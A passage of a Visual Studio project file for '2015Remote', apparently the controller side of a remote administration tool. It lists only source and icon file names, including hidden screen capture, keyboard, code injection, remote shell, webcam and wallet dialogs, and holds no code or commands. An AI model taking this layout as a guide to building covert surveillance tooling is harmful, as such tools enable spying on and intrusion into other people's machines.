<ClCompile Include="2015RemoteDlg.cpp" />
|
|
<ClCompile Include="AudioDlg.cpp" />
|
|
<ClCompile Include="Bmp2Video.cpp" />
|
|
<ClCompile Include="Buffer.cpp" />
|
|
<ClCompile Include="BuildDlg.cpp" />
|
|
<ClCompile Include="CClientListDlg.cpp" />
|
|
<ClCompile Include="CDlgFileSend.cpp" />
|
|
<ClCompile Include="CDrawingBoard.cpp" />
|
|
<ClCompile Include="CGridDialog.cpp" />
|
|
<ClCompile Include="Chat.cpp" />
|
|
<ClCompile Include="CLicenseDlg.cpp" />
|
|
<ClCompile Include="CListCtrlEx.cpp" />
|
|
<ClCompile Include="CPasswordDlg.cpp" />
|
|
<ClCompile Include="LicenseFile.cpp" />
|
|
<ClCompile Include="CRcEditDlg.cpp" />
|
|
<ClCompile Include="CTextDlg.cpp" />
|
|
<ClCompile Include="CUpdateDlg.cpp" />
|
|
<ClCompile Include="CWalletDlg.cpp" />
|
|
<ClCompile Include="DecryptDlg.cpp" />
|
|
<ClCompile Include="EditDialog.cpp" />
|
|
<ClCompile Include="FileManagerDlg.cpp" />
|
|
<ClCompile Include="FileTransferModeDlg.cpp" />
|
|
<ClCompile Include="file\CFileListCtrl.cpp" />
|
|
<ClCompile Include="file\CFileManagerDlg.cpp" />
|
|
<ClCompile Include="file\CFileTransferModeDlg.cpp" />
|
|
<ClCompile Include="HideScreenSpyDlg.cpp" />
|
|
<ClCompile Include="InputDlg.cpp" />
|
|
<ClCompile Include="ZstaPickerDlg.cpp" />
|
|
<ClCompile Include="IOCPKCPServer.cpp" />
|
|
<ClCompile Include="IOCPServer.cpp" />
|
|
<ClCompile Include="ServerTlsSession.cpp" />
|
|
<ClCompile Include="IOCPUDPServer.cpp" />
|
|
<ClCompile Include="IPHistoryDlg.cpp" />
|
|
<ClCompile Include="KeyBoardDlg.cpp" />
|
|
<ClCompile Include="NetworkDlg.cpp" />
|
|
<ClCompile Include="NotifyManager.cpp" />
|
|
<ClCompile Include="NotifySettingsDlg.cpp" />
|
|
<ClCompile Include="FeatureLimitsDlg.cpp" />
|
|
<ClCompile Include="FrpsForSubDlg.cpp" />
|
|
<ClCompile Include="ShareHostDlg.cpp" />
|
|
<ClCompile Include="Loader.c">
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
|
</ClCompile>
|
|
<ClCompile Include="main.cpp" />
|
|
<ClCompile Include="proxy\ProxyConnectServer.cpp" />
|
|
<ClCompile Include="proxy\ProxyMapDlg.cpp" />
|
|
<ClCompile Include="pwd_gen.cpp">
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
|
</ClCompile>
|
|
<ClCompile Include="RegisterDlg.cpp" />
|
|
<ClCompile Include="ScreenSpyDlg.cpp" />
|
|
<ClCompile Include="SearchBarDlg.cpp" />
|
|
<ClCompile Include="ServicesDlg.cpp" />
|
|
<ClCompile Include="ConnectionsDlg.cpp" />
|
|
<ClCompile Include="SettingDlg.cpp" />
|
|
<ClCompile Include="ShellDlg.cpp" />
|
|
<ClCompile Include="TerminalDlg.cpp" />
|
|
<ClCompile Include="SortListCtrl.cpp" />
|
|
<ClCompile Include="SplashDlg.cpp" />
|
|
<ClCompile Include="stdafx.cpp">
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
|
</ClCompile>
|
|
<ClCompile Include="SystemDlg.cpp" />
|
|
<ClCompile Include="sys\CCreateTaskDlg.cpp" />
|
|
<ClCompile Include="sys\CInjectCodeDlg.cpp" />
|
|
<ClCompile Include="sys\MachineDlg.cpp" />
|
|
<ClCompile Include="sys\ServiceInfoDlg.cpp" />
|
|
<ClCompile Include="TalkDlg.cpp" />
|
|
<ClCompile Include="ToolbarDlg.cpp" />
|
|
<ClCompile Include="TrueColorToolBar.cpp" />
|
|
<ClCompile Include="VideoDlg.cpp" />
|
|
<ClCompile Include="ServerServiceWrapper.cpp" />
|
|
<ClCompile Include="ServerSessionMonitor.cpp" />
|
|
<ClCompile Include="CIconButton.cpp" />
|
|
</ItemGroup>
|
|
<ItemGroup>
|
|
<ResourceCompile Include="2015Remote.rc" />
|
|
</ItemGroup>
|
|
<ItemGroup>
|
|
<Image Include="res\2015Remote.ico" />
|
|
<Image Include="res\audio.ico" />
|
|
<Image Include="res\bitmap\ActiveWnd.bmp" />
|
|
<Image Include="res\Bitmap\AddWatch.bmp" />
|
|
<Image Include="res\Bitmap\AdminRun.bmp" />
|
|
<Image Include="res\Bitmap\AssignTo.bmp" />
|
|
<Image Include="res\Bitmap\AuthGen.bmp" />
|
|
<Image Include="res\Bitmap\authorize.bmp" />
|
|
<Image Include="res\Bitmap\Backup.bmp" />
|
|
<Image Include="res\Bitmap\BrowseWnd.bmp" />
|
|
<Image Include="res\Bitmap\CancelShare.bmp" />
|
|
<Image Include="res\Bitmap\ClientLog.bmp" />
|
|
<Image Include="res\Bitmap\DrawingBoard.bmp" />
|
|
<Image Include="res\Bitmap\FileManager.bmp" />
|
|
<Image Include="res\Bitmap\Forbidden.bmp" />
|
|
<Image Include="res\bitmap\compress.bmp" />
|
|
<Image Include="res\Bitmap\Copy.bmp" />
|
|
<Image Include="res\Bitmap\Debug.bmp" />
|
|
<Image Include="res\Bitmap\delete.bmp" />
|
|
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
|
<Image Include="res\Bitmap\EditGroup.bmp" />
|
|
<Image Include="res\Bitmap\Exit.bmp" />
|
|
<Image Include="res\Bitmap\Feedback.bmp" />
|
|
<Image Include="res\Bitmap\FRP.bmp" />
|
|
<Image Include="res\Bitmap\GenMaster.bmp" />
|
|
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
|
<Image Include="res\Bitmap\Help.bmp" />
|
|
<Image Include="res\Bitmap\History.bmp" />
|
|
<Image Include="res\Bitmap\HistoryActivity.bmp" />
|
|
<Image Include="res\Bitmap\HostProxy.bmp" />
|
|
<Image Include="res\Bitmap\Import.bmp" />
|
|
<Image Include="res\Bitmap\ImportLicense.bmp" />
|
|
<Image Include="res\Bitmap\Inject.bmp" />
|
|
<Image Include="res\Bitmap\InputPassword.bmp" />
|
|
<Image Include="res\Bitmap\Keyboard.bmp" />
|
|
<Image Include="res\Bitmap\Language.bmp" />
|
|
<Image Include="res\Bitmap\LicenseMgr.bmp" />
|
|
<Image Include="res\Bitmap\Log.bmp" />
|
|
<Image Include="res\Bitmap\LoginNotify.bmp" />
|
|
<Image Include="res\Bitmap\Logout.bmp" />
|
|
<Image Include="res\Bitmap\Network.bmp" />
|
|
<Image Include="res\Bitmap\note.bmp" />
|
|
<Image Include="res\Bitmap\Notify.bmp" />
|
|
<Image Include="res\Bitmap\Online.bmp" />
|
|
<Image Include="res\Bitmap\PEEdit.bmp" />
|
|
<Image Include="res\Bitmap\Plugin.bmp" />
|
|
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
|
<Image Include="res\Bitmap\PortProxyAuto.bmp" />
|
|
<Image Include="res\Bitmap\PortProxyStd.bmp" />
|
|
<Image Include="res\Bitmap\PrivacyShield.bmp" />
|
|
<Image Include="res\Bitmap\PrivateScreen.bmp" />
|
|
<Image Include="res\Bitmap\proxy.bmp" />
|
|
<Image Include="res\Bitmap\Reboot.bmp" />
|
|
<Image Include="res\Bitmap\Refresh.bmp" />
|
|
<Image Include="res\Bitmap\remove.bmp" />
|
|
<Image Include="res\Bitmap\RequestAuth.bmp" />
|
|
<Image Include="res\Bitmap\Settings.bmp" />
|
|
<Image Include="res\Bitmap\Share.bmp" />
|
|
<Image Include="res\Bitmap\Show.bmp" />
|
|
<Image Include="res\Bitmap\Shutdown.bmp" />
|
|
<Image Include="res\Bitmap\Snapshot.bmp" />
|
|
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
|
<Image Include="res\Bitmap\TlsDisable.bmp" />
|
|
<Image Include="res\Bitmap\TlsEnable.bmp" />
|
|
<Image Include="res\Bitmap\Trial.bmp" />
|
|
<Image Include="res\Bitmap\Trigger.bmp" />
|
|
<Image Include="res\Bitmap\unauthorize.bmp" />
|
|
<Image Include="res\bitmap\uncompress.bmp" />
|
|
<Image Include="res\bitmap\uninstall.bmp" />
|
|
<Image Include="res\Bitmap\update.bmp" />
|
|
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
|
|
<Image Include="res\Bitmap\Wallet.bmp" />
|
|
<Image Include="res\Bitmap\WebDesktop.bmp" />
|
|
<Image Include="res\chat.ico" />
|
|
<Image Include="res\ClientLog.ico" />
|
|
<Image Include="res\cmdshell.ico" />
|
|
<Image Include="res\connections.ico" />
|
|
<Image Include="res\decrypt.ico" />
|
|
<Image Include="res\DrawingBoard.ico" />
|
|
<Image Include="res\dword.ico" />
|
|
<Image Include="res\file.ico" />
|
|
<Image Include="res\file\FILE.ico" />
|
|
<Image Include="res\file\Icon_A.ico" />
|
|
<Image Include="res\file\Icon_C.ico" />
|
|
<Image Include="res\file\Icon_D.ico" />
|
|
<Image Include="res\file\Icon_E.ico" />
|
|
<Image Include="res\file\Icon_F.ico" />
|
|
<Image Include="res\file\Icon_G.ico" />
|
|
<Image Include="res\keyboard.ico" />
|
|
<Image Include="res\machine.ico" />
|
|
<Image Include="res\password.ico" />
|
|
<Image Include="res\pc.ico" />
|
|
<Image Include="res\proxifler.ico" />
|
|
<Image Include="res\screen.ico" />
|
|
<Image Include="res\Snapshot.ico" />
|
|
<Image Include="res\string.ico" />
|
|
<Image Include="res\system.ico" />
|
|
<Image Include="res\toolbar1.bmp" />
|
|
<Image Include="res\toolbar2.bmp" />
|
|
<Image Include="res\ToolBar_Disable.bmp" />
|
|
<Image Include="res\ToolBar_Enable.bmp" />
|
|
<Image Include="res\ToolBar_Main.bmp" />
|
|
<Image Include="res\ToolBar_Main_Res.bmp" />
|
|
<Image Include="res\webcam.ico" />
|
|
</ItemGroup>
|
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
|
<ImportGroup Label="ExtensionTargets">
|
|
</ImportGroup>
|
|
<ProjectExtensions>
|
|
<VisualStudio>
|
|
<UserProperties RESOURCE_FILE="2015Remote.rc" />
|
|
</VisualStudio>
|
|
</ProjectExtensions>
|
|
</Project> |